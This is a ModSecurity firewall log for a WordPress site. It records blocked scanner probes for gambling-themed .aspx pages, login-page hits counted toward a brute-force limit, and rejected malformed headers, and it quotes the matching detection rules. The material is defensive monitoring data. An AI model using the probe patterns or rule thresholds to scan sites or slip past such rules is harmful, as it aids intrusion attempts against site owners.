[Tue Apr 07 13:10:11.068259 2026] [:error] [pid 37597:tid 37642] [client 54.37.86.223:47790] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adSRsw6uAY0QAy-8EEIuogAAAEg"]
[Tue Apr 07 13:10:13.224984 2026] [:error] [pid 37598:tid 37666] [client 54.37.86.223:47802] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adSRte9g7q_cV2WhPaxCdQAAAIU"]
[Tue Apr 07 14:45:37.037210 2026] [:error] [pid 59660:tid 59684] [client 103.82.22.214:40414] [client 103.82.22.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.82.22.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adSoETp3-oiX2o5bTszTYQAAAdY"]
[Tue Apr 07 15:46:58.176072 2026] [:error] [pid 37597:tid 37648] [client 43.166.242.189:45302] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adS2cg6uAY0QAy-8EEKV4gAAAE4"]
[Tue Apr 07 16:58:00.482692 2026] [:error] [pid 12948:tid 12968] [client 43.157.180.116:49088] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adTHGMbeSPAN8LvMqsZ8fwAAARE"]
[Tue Apr 07 17:40:00.963634 2026] [:error] [pid 59551:tid 59557] [client 69.49.112.76:59084] [client 69.49.112.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adTQ8F7LN7Ubyqs-sVu48AAAAYQ"]
[Tue Apr 07 17:40:02.899936 2026] [:error] [pid 59551:tid 59563] [client 69.49.112.76:59084] [client 69.49.112.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adTQ8l7LN7Ubyqs-sVu4-QAAAYo"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 07 17:42:26.556396 2026] [:error] [pid 37719:tid 37738] [client 91.136.11.89:40514] [client 91.136.11.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adTRgk09Xv52u2xXGLCu8gAAANA"]
[Tue Apr 07 17:42:28.634414 2026] [:error] [pid 37719:tid 37732] [client 91.136.11.89:40514] [client 91.136.11.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adTRhE09Xv52u2xXGLCu_gAAAMo"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 07 20:14:03.701399 2026] [:error] [pid 59804:tid 59822] [client 65.108.78.33:30948] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adT1C3YVIXiPh5_eJTmkNwAAAhA"]
[Tue Apr 07 20:14:05.615021 2026] [:error] [pid 37597:tid 37658] [client 65.108.78.33:30964] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adT1DQ6uAY0QAy-8EEJu6QAAAFg"]
[Tue Apr 07 20:14:07.676937 2026] [:error] [pid 37719:tid 37733] [client 65.108.78.33:30970] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adT1D009Xv52u2xXGLAU4gAAAMs"]
[Tue Apr 07 20:14:09.779303 2026] [:error] [pid 37598:tid 37678] [client 65.108.78.33:30974] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adT1Ee9g7q_cV2WhPay1GwAAAJE"]
[Tue Apr 07 20:14:11.743012 2026] [:error] [pid 37597:tid 37656] [client 65.108.78.33:30980] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adT1Ew6uAY0QAy-8EEJu9wAAAFY"]
[Tue Apr 07 20:14:13.848992 2026] [:error] [pid 59804:tid 59825] [client 65.108.78.33:64128] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adT1FXYVIXiPh5_eJTmkRwAAAhM"]
[Tue Apr 07 20:14:15.761276 2026] [:error] [pid 37597:tid 37634] [client 65.108.78.33:64136] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adT1Fw6uAY0QAy-8EEJu_QAAAEA"]
[Tue Apr 07 20:14:17.712837 2026] [:error] [pid 59660:tid 59662] [client 65.108.78.33:64152] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adT1GTp3-oiX2o5bTswRewAAAcA"]
[Tue Apr 07 20:14:19.615989 2026] [:error] [pid 12948:tid 12963] [client 65.108.78.33:64154] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adT1G8beSPAN8LvMqsasfQAAAQw"]
[Tue Apr 07 20:14:21.557891 2026] [:error] [pid 37596:tid 37615] [client 65.108.78.33:64164] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adT1HapaAOZHEjRWjP2bTQAAAAk"]
[Tue Apr 07 20:14:23.633501 2026] [:error] [pid 37597:tid 37643] [client 65.108.78.33:2704] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adT1Hw6uAY0QAy-8EEJvDQAAAEk"]
[Tue Apr 07 20:14:25.677340 2026] [:error] [pid 37597:tid 37636] [client 65.108.78.33:2712] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adT1IQ6uAY0QAy-8EEJvFAAAAEI"]
[Tue Apr 07 20:14:27.780696 2026] [:error] [pid 59660:tid 59673] [client 65.108.78.33:2726] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adT1Izp3-oiX2o5bTswRgwAAAcs"]
[Tue Apr 07 20:14:29.680931 2026] [:error] [pid 37719:tid 37725] [client 65.108.78.33:2738] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adT1JU09Xv52u2xXGLAVAQAAAMM"]
[Tue Apr 07 20:14:31.604321 2026] [:error] [pid 12948:tid 12951] [client 65.108.78.33:2742] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adT1J8beSPAN8LvMqsashgAAAQA"]
[Tue Apr 07 20:14:33.620144 2026] [:error] [pid 37719:tid 37739] [client 65.108.78.33:54048] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adT1KU09Xv52u2xXGLAVEAAAANE"]
[Tue Apr 07 20:14:35.575887 2026] [:error] [pid 37597:tid 37656] [client 65.108.78.33:54064] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adT1Kw6uAY0QAy-8EEJvcgAAAFY"]
[Tue Apr 07 20:14:37.696486 2026] [:error] [pid 59551:tid 59566] [client 65.108.78.33:54074] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adT1LV7LN7Ubyqs-sVsEIQAAAY0"]
[Tue Apr 07 20:14:39.665664 2026] [:error] [pid 37597:tid 37644] [client 65.108.78.33:54076] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adT1Lw6uAY0QAy-8EEJvgQAAAEo"]
[Tue Apr 07 20:14:41.645917 2026] [:error] [pid 59551:tid 59568] [client 65.108.78.33:54082] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adT1MV7LN7Ubyqs-sVsEJQAAAY8"]
[Tue Apr 07 20:14:43.686876 2026] [:error] [pid 37719:tid 37731] [client 65.108.78.33:3538] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adT1M009Xv52u2xXGLAVHQAAAMk"]
[Tue Apr 07 20:14:45.583280 2026] [:error] [pid 37598:tid 37661] [client 65.108.78.33:3542] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adT1Ne9g7q_cV2WhPay1OQAAAIA"]
[Tue Apr 07 20:14:47.555403 2026] [:error] [pid 59660:tid 59662] [client 65.108.78.33:3554] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adT1Nzp3-oiX2o5bTswRhwAAAcA"]
[Tue Apr 07 20:14:49.529509 2026] [:error] [pid 12948:tid 12952] [client 65.108.78.33:3562] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adT1OcbeSPAN8LvMqsaskwAAAQE"]
[Tue Apr 07 20:14:51.546760 2026] [:error] [pid 37719:tid 37740] [client 65.108.78.33:3568] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adT1O009Xv52u2xXGLAVJwAAANI"]
[Tue Apr 07 20:14:53.556741 2026] [:error] [pid 37597:tid 37644] [client 65.108.78.33:16560] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adT1PQ6uAY0QAy-8EEJvogAAAEo"]
[Tue Apr 07 20:14:55.680966 2026] [:error] [pid 59490:tid 59495] [client 65.108.78.33:16572] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adT1P0cw8OFbiUZ7Rx1oNAAAAUM"]
[Tue Apr 07 20:14:57.732144 2026] [:error] [pid 59490:tid 59504] [client 65.108.78.33:16582] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adT1QUcw8OFbiUZ7Rx1oNQAAAUw"]
[Tue Apr 07 20:15:42.365125 2026] [:error] [pid 59551:tid 59557] [client 65.108.78.33:32152] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adT1bl7LN7Ubyqs-sVsEZgAAAYQ"]
[Tue Apr 07 20:15:44.217718 2026] [:error] [pid 59660:tid 59673] [client 65.108.78.33:32164] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adT1cDp3-oiX2o5bTswRjAAAAcs"]
[Tue Apr 07 20:15:46.375282 2026] [:error] [pid 59551:tid 59565] [client 65.108.78.33:32170] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adT1cl7LN7Ubyqs-sVsEcQAAAYw"]
[Tue Apr 07 20:15:48.425349 2026] [:error] [pid 37597:tid 37641] [client 65.108.78.33:32184] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adT1dA6uAY0QAy-8EEJwGgAAAEc"]
[Tue Apr 07 20:15:50.601062 2026] [:error] [pid 37719:tid 37725] [client 65.108.78.33:32186] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adT1dk09Xv52u2xXGLAVZQAAAMM"]
[Tue Apr 07 20:15:52.787033 2026] [:error] [pid 37596:tid 37628] [client 65.108.78.33:15170] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adT1eKpaAOZHEjRWjP2bdAAAABY"]
[Tue Apr 07 20:15:54.829869 2026] [:error] [pid 37719:tid 37724] [client 65.108.78.33:15174] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adT1ek09Xv52u2xXGLAVcAAAAMI"]
[Tue Apr 07 20:15:56.869513 2026] [:error] [pid 59551:tid 59562] [client 65.108.78.33:15184] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adT1fF7LN7Ubyqs-sVsEfQAAAYk"]
[Tue Apr 07 20:15:58.908595 2026] [:error] [pid 59804:tid 59807] [client 65.108.78.33:15200] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adT1fnYVIXiPh5_eJTmkpgAAAgE"]
[Tue Apr 07 20:16:00.939439 2026] [:error] [pid 37597:tid 37640] [client 65.108.78.33:15212] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adT1gA6uAY0QAy-8EEJwHQAAAEY"]
[Tue Apr 07 20:16:03.111936 2026] [:error] [pid 37597:tid 37643] [client 65.108.78.33:31496] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adT1gw6uAY0QAy-8EEJwJQAAAEk"]
[Tue Apr 07 20:16:05.136895 2026] [:error] [pid 37597:tid 37649] [client 65.108.78.33:31504] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adT1hQ6uAY0QAy-8EEJwNAAAAE8"]
[Tue Apr 07 20:16:07.262547 2026] [:error] [pid 59490:tid 59505] [client 65.108.78.33:31520] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adT1h0cw8OFbiUZ7Rx1oSwAAAU0"]
[Tue Apr 07 20:16:09.261811 2026] [:error] [pid 37597:tid 37649] [client 65.108.78.33:31522] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adT1iQ6uAY0QAy-8EEJwPwAAAE8"]
[Tue Apr 07 20:16:11.211072 2026] [:error] [pid 59551:tid 59564] [client 65.108.78.33:31524] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adT1i17LN7Ubyqs-sVsEogAAAYs"]
[Tue Apr 07 20:16:13.180169 2026] [:error] [pid 37597:tid 37642] [client 65.108.78.33:19084] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adT1jQ6uAY0QAy-8EEJwSQAAAEg"]
[Tue Apr 07 20:16:15.144539 2026] [:error] [pid 37597:tid 37644] [client 65.108.78.33:19086] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adT1jw6uAY0QAy-8EEJwTwAAAEo"]
[Tue Apr 07 20:16:17.141485 2026] [:error] [pid 37598:tid 37663] [client 65.108.78.33:19096] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adT1ke9g7q_cV2WhPay1jQAAAII"]
